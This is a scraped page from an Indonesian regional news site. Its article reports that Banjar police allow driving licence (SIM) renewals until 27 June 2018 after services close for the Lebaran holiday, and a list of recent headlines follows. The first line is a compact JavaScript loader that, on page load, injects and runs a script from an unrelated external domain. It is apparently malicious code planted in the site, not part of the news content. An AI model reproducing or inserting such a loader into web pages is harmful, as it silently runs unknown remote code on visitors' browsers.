(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Layanan Umum

Berlaku Habis Saat Libur Lebaran, SIM Bisa Diperpanjang Hingga 27 Juni


MARTAPURA, Surat Izin Mengemudi (SIM) merupakan salah satu syarat wajib yang harus dimiliki oleh para pengendara kendaraan bermotor dimanapun berada.

Diketahui, pelayanan untuk pengurusan SIM baik untuk pembuatan baru dan perpanjangan masa berlaku SIM akan ditutup sementara mulai tanggal 11 hingga 20 Juni 2018 mendatang, atau selama cuti bersama lebaran.

Oleh karena itu, bagi para pemilik SIM yang habis masa berlakunya karena bertepatan dengan masa cuti bersama jelang lebaran Hari Raya Idul Fitri 1439 H/2018 ini, diharapkan kepada masyarakat agar segera melakukan perpanjangan masa berlaku SIM.

Seperti itu lah informasi yang beredar di media sosial terkait pelayanan perpanjangan SIM yang ditutup mulai 11-20 Juni 2018. Meski masa berlaku SIM jatuh tempo pada hari libur, polisi tetap memberikan toleransi. Pemilik SIM yang tidak sempat memperpanjang SIM diberikan masa tanggang perpanjang SIM pada tanggal 21 sampai dengan 27 Juni 2018.

Kasat Lantas Polres Banjar AKP Indra AP Putra mengatakan pelayanan SIM tetap  ada toleransi selama libur cuti bersama sampai kembali dibuka pada 21 Juni 2018.

“Kepada seluruh masyarakat di Kabupaten Banjar, bagi pemilik SIM yang akan habis masa berlakunya bersamaan dengan cuti bersama lebaran atau Hari Raya Idul Fitri, dipersilakan mulai dari sekarang untuk segera mengurus perpanjangan,” katanya.

Indra mengatakan, pihaknya akan memberikan masa tenggang hingga 27 Juni 2018, dan apabila sudah melewati tanggal 27 Juni 2018, maka harus mengikuti prosedur pembuatan SIM baru lagi.

Indra berharap, masyarakat bisa mengikuti imbauan yang diberikan, agar tidak salah pengertian dan kecewa dikemudian hari.

“Harap diperhatikan dengan seksama dan manfaatkan fasilitas pelayanan SIM yang sudah disediakan, serta diperiksa teliti kembali tanggal kadaluwarsa SIM anda. Jika masa berlakunya hampir habis, segera melakukan perpanjangan SIM sekarang juga,” pungkasnya. (hendera)

Reporter : Hendera
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

10 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

11 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

11 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

12 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

12 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

15 jam ago

This website uses cookies.